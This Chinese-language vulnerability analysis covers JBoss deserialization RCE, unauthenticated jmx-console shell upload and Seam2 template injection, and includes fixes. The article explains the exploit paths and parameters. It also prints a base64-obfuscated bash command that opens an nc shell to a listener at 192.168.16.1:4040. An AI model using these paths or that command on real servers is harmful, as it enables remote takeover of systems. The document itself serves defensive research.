開啟JBoss的潘多拉魔盒：JBoss高危漏洞分析
前言
JBoss是一個基於J2EE的開放原始碼應用伺服器，程式碼遵循LGPL許可，可以在任何商業應用中免費使用；JBoss也是一個管理EJB的容器和伺服器，支援EJB 1.1、EJB 2.0和EJB3規範。但JBoss核心服務不包括支援servlet/JSP的WEB容器，一般與Tomcat或Jetty繫結使用。在J2EE應用伺服器領域，JBoss是發展最為迅速的應用伺服器。由於JBoss遵循商業友好的LGPL授權分發，並且由開源社群開發，這使得JBoss廣為流行。
0×01 JBoss優點
JBoss有許多優點。
其一，將具有革命性的JMX微核心服務作為其匯流排結構；
其二，本身就是面向服務架構（Service-Oriented Architecture，SOA）；
其三，具有統一的類裝載器，從而能夠實現應用的熱部署和熱解除安裝能力。
因此，高度模組化的和鬆耦合。JBoss應用伺服器是健壯的、高質量的，而且還具有良好的效能。
JBoss AS作為Redhat公司的商業產品JBoss Enterprise Application Platform的上游基礎，為了避免使用者混淆，該公司在去年10月份就為JBoss AS擬定一個新名字——WildFly。
由此看來，國內使用JBoss服務的使用者很廣泛，因此防範JBoss漏洞就顯得尤為重要了。一旦JBoss的潘多拉魔盒被開啟，必將在當今網路中掀起腥風血雨。
0×02 高危漏洞介紹
近幾年JBoss爆發的漏洞數量與其他著名的中介軟體（Weblogic,Jenkins,WebSphere等）相比，數量相對較少。然而，由於最近幾年Java反序列化漏洞的肆虐，JBoss也深受其害，相繼爆發了三個著名的高危漏洞。
下面介紹一下JBoss“潘多拉魔盒”中的高危漏洞。
JBoss高危漏洞主要涉及到兩種。
第一種是利用未授權訪問進入JBoss後臺進行檔案上傳的漏洞，例如：CVE-2007-1036，CVE-2010-0738,CVE-2005-5750以及JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability。
另一種是利用Java反序列化進行遠端程式碼執行的漏洞，例如：CVE-2015-7501，CVE-2017-7504，CVE-2017-12149，CVE-2013-4810。
除此之外，還要額外介紹一下JBoss seam2的模板注入CVE-2010-1871漏洞。
Java反序列化RCE漏洞
關於Java反序列化漏洞的利用思路此前已經介紹過，詳情請看https://www.freebuf.com/vuls/179579.html。
1. CVE-2015-7501漏洞
此漏洞主要是由於JBoss中invoker/JMXInvokerServlet路徑對外開放，由於JBoss的jmx元件支援Java反序列化，並且在反序列化過程中沒有加入有效的安全檢測機制，導致攻擊者可以傳入精心構造好的惡意序列化資料，在jmx對其進行反序列化處理時，導致傳入的攜帶惡意程式碼的序列化資料執行，造成反序列化漏洞，下面是傳入的序列化結構。
從圖中我們可以看到，此漏洞的payload和weblogic Java反序列化CVE-2015-4852原理相同，都是利用了Apache Commons Collections的基礎庫進行Java反序列化漏洞的利用。
CVE-2015-7501 POC
首先我們進入到/invoker/JMXInvokerServlet路徑下，post傳入我們構造好的payload，下面的序列化POC需要將16進位制解碼。
在上面的POC中，cmd是我們想要執行的程式碼，這裡大家注意一下，binascii.b2a_hex(cmd)前面的兩位（標紅的部分）是代表cmd轉換為16進位制的長度。所以需要根據我們具體傳入的程式碼而進行調整。
這個漏洞的修補方法很簡單，因為ysoserial工具生成的payload都依賴於InvokerTransformer類。如果使用者在正常業務中不使用此類，可以將此類移除，方法為使用Winzip開啟jar檔案，在org/apache/commons/collections/functors/InvokerTransformer.class刪除該檔案。
2. CVE-2017-7504漏洞
CVE-2017-7504漏洞與CVE-2015-7501的漏洞如出一轍，只是利用的路徑稍微出現了變化，CVE-2017-7504出現在/jbossmq-httpil/HTTPServerILServlet路徑下，一般出現如圖所示的介面，絕大多數存在此漏洞。
漏洞的利用方式也和CVE-2105-7501相同，只需要在存在漏洞的路徑下post傳入我們構造的payload，即可對存在漏洞的伺服器進行遠端程式碼攻擊。Payload使用上面提到的CVE-2015-7501的POC即可。
3. CVE-2017-12149漏洞
此漏洞主要是由於jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目錄下的ReadOnlyAccessFilter.class檔案中的doFilter方法，再將序列化傳入ois中，並沒有進行過濾便呼叫了readObject()進行反序列化，導致傳入的攜帶惡意程式碼的序列化資料執行，造成了反序列化的漏洞，下面粘出doFilter方法。
看到程式碼中的MarshalledInvocation，也許熟悉weblogic Java反序列化漏洞的同學可能會想到CVE-2016-3510漏洞。沒錯，這個漏洞也是利用了MarshalledInvocation類進行的Java反序列化攻擊。首先我們進入到/invoker/readonly路徑下，post傳入我們構造好的payload，下面的序列化POC需要將16進位制解碼。
CVE-2017-12149的POC（序列化）
這裡我們在cmd_hex所在位置，必須要插入類似於
bash -c {echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i}
這種形式的命令才可以達到攻擊效果，這是因為使用了“Java.lang.Runtime.exec(String)”語句而導致的一些限制。首先是不支援shell操作符，如輸出重定向以及管道。其次是傳遞給payload命令的引數中不能包含空格。同樣前面標紅的那兩位(b1)也需要和我們插入的指令長度相符，這是Java序列化中的結構規定。
如果進入到漏洞所在路徑看見如下圖的介面，很可能存在CVE-2017-12149漏洞。
4. CVE-2013-4810漏洞
此漏洞和CVE-2015-7501漏洞原理相同，這裡詳細介紹一下兩者的區別，其區別就在於兩個漏洞選擇的進行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue進行的反序列化操作，而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation進行反序列化並上傳構造的檔案。
首先我們進入到/invoker/JMXInvokerServlet，/invoker/EJBInvokerServlet路徑下，post傳入我們構造好的payload，並在頭部傳入。
下面的序列化POC需要將16進位制解碼。
CVE-2013-4810的POC（序列化）
POC的序列化結構如下圖：
圖中紅框位置就是我們執行上傳檔案功能（jboss.admin中的DeploymentFileRepository）的程式碼和上傳檔案的內容。
另外如果是檢測web-console/Invoker路徑下的漏洞，則傳入http頭部如下：
post傳入的payload如下：
POC的序列化結構如下圖：
圖中紅框位置就是我們上傳檔案內容。
JBoss後臺檔案上傳的漏洞
1.CVE-2007-1036漏洞
此漏洞主要是由於JBoss中/jmx-console/HtmlAdaptor路徑對外開放，並且沒有任何身份驗證機制，導致攻擊者可以進入到jmx控制檯，並在其中執行任何功能。該漏洞利用的是後臺中jboss.admin -> DeploymentFileRepository -> store()方法，通過向四個引數傳入資訊，達到上傳shell的目的，其中arg0傳入的是部署的war包名字，arg1傳入的是上傳的檔案的檔名，arg2傳入的是上傳檔案的檔案格式，arg3傳入的是上傳檔案中的內容。通過控制這四個引數即可上傳shell，控制整臺伺服器。但是通過實驗發現，arg1和arg2可以進行檔案的拼接，例如arg1=she，arg2=ll.jsp。這個時候伺服器還是會進行拼接，將shell.jsp傳入到指定路徑下。後面的CVE-2010-0738和CVE-2005-5750漏洞也存在這一特性。
CVE-2007-1036 POC
其中war_name是部署war包的名稱，filename是我們想要上傳的檔名。漏洞利用過程就是將POC以GET或POST方式在/jmx-console/HtmlAdaptor路徑下進行傳入即可。
下圖是利用此payload進行shell上傳：
這個是存在漏洞的後臺路徑：
圖中的store()函式便是檔案上傳使用的方法，通過構造內部的4的引數，將我們構造好的檔案傳到任何我們指定的位置。
2. CVE-2010-0738漏洞
此漏洞利用原理和CVE-2007-1036漏洞相同，唯一的區別是CVE-2010-0738漏洞利用了HTTP中HEAD請求方法，繞過了對GET和POST請求的限制，成功地再次利用jboss.admin -> DeploymentFileRepository -> store()方法上傳檔案。
CVE-2010-0738 POC
其中war_name是部署war包的名稱，filename是我們想要上傳的檔名。漏洞利用過程就是將POC以HEAD方式在/jmx-console/HtmlAdaptor路徑下進行傳入即可。
下圖是成功上傳shell的截圖。
3. CVE-2005-5750漏洞
此漏洞利用原理和CVE-2007-1036漏洞相同，唯一的區別是CVE-2006-5750漏洞利用methodIndex進行store()方法的呼叫。其中methodIndex是通過方法的編號進行呼叫。
CVE-2005-5750 POC
其中war_name是部署war包的名稱，filename是我們想要上傳的檔名。在/jmx-console/HtmlAdaptor路徑下，使用HEAD方法傳入上面構造好的payload，即可對此漏洞進行利用。
下圖是成功上傳shell的截圖。
4. JBoss jmx-consoleHtmlAdaptor addURL() 檔案上傳漏洞
此漏洞是由於JBoss中/jmx-console/HtmlAdaptor路徑對外開放，並且沒有任何身份驗證機制，導致攻擊者可以進入到jmx控制檯，並在其中執行任何功能。該漏洞利用的是後臺jboss.deployment -> DeploymentScanner -> Java.net.URL型別 addURL()
方法，通過向一個引數傳入url進行訪問，在要訪問的url中構造帶有shell的war包，當伺服器訪問時便會上傳shell。但是，上傳shell的檔案只是一個對映檔案，當url一旦無法訪問或者內部資源丟失，則伺服器上的檔案也會相應消失。
JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability POC
其中arg0傳入的是我們可以控制伺服器訪問的url。在/jmx-console/HtmlAdaptor路徑下GET傳入我們構造好的payload，即可對此漏洞進行漏洞利用。
下圖是漏洞利用所選擇的函式：
防禦以上漏洞，其實只需要將JBoss後臺新增許可權，控制訪問者對敏感路徑訪問即可。
JBoss seam2模板注入
在介紹漏洞之前，首先介紹一下Java反射機制。
很多POC都是利用Java的反射機制來呼叫需要的方法進行遠端程式碼執行。在Java中，一切皆為物件，包括Class物件。Java反射機制是在執行狀態中，對於任意一個類，都能夠知道這個類的所有屬性和方法；對於任意一個物件，都能夠呼叫它的任意一個方法和屬性。
在下面的漏洞中，我們可以利用一些函式去反射需要的類，以及類的方法。例如，利用getClass()函式獲取類，並利用getMethod()獲取我們想要反射的方法。在CVE-2010-1871，就是通過反射出Java.lang.Runtime.getRuntime().exec()方法，進行遠端程式碼執行。
1.CVE-2010-1871漏洞
此漏洞是通過seam元件中插入#{payload}進行模板注入，我們可以在/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{}的#{}中插入我們要執行的方法，我們可以通過Java反射機制來獲取到Java.lang.Runtime.getRuntime().exec()方法，從而可以傳入任何想要執行的指令。
CVE-2010-1871 POC
其中cmd代表傳入的遠端命令。在/admin-console/login.seam路徑下，POST傳入我們構造好的payload，即可對此漏洞利用。
0×03 結語
目前，JBoss未授權訪問的漏洞已經得到了很好的修復，一些對外元件都添加了許可權訪問控制，想繼續利用
JBoss的潘多拉魔盒已經開啟，每一個JBoss高危漏洞都會給使用JBoss的使用者造成巨大的災難。傳言，潘多拉在開啟魔盒的瞬間，由於害怕和緊張，在智慧女神雅典娜放在盒子中的“希望”還沒有飛出，就關上了盒子，導致了人類飽受疾病與災難的痛苦。那麼作為一個安全研究員，放飛盒子中的“希望”就是我們現在需要努力的方向。及時的在漏洞爆發期間完成對漏洞的分析，並完成對漏洞的預防，防止漏洞攻擊在網路環境中肆虐，保護大家的網路環境，這便是安全研究員的職責所在。
目前，JBoss未授權訪問的漏洞已經得到了很好的修復，一些管理後臺都添加了許可權訪問控制，想繼續通過JBoss後臺進行檔案上傳在現在的JBoss版本已經很少能實現了。目前JBoss的攻擊趨勢隨著2015年FoxGlove Security 安全團隊的 @breenmachine 部落格的釋出而漸漸偏向於Java反序列化攻擊。因為這種攻擊的特點是，危險等級高，影響範圍廣，一個Java反序列化漏洞造成的影響是巨大的。所以對於JBoss，我們需要做的防護措施就是，在各個對外開放元件進行輸入驗證，確保傳入的資訊中沒有對伺服器產生危害的內容。
漏洞挖掘者和漏洞防禦者之間的博弈從未停止過，而且這種博弈在今後的生活中也將會愈演愈烈，安全研究員時刻準備迎接挑戰。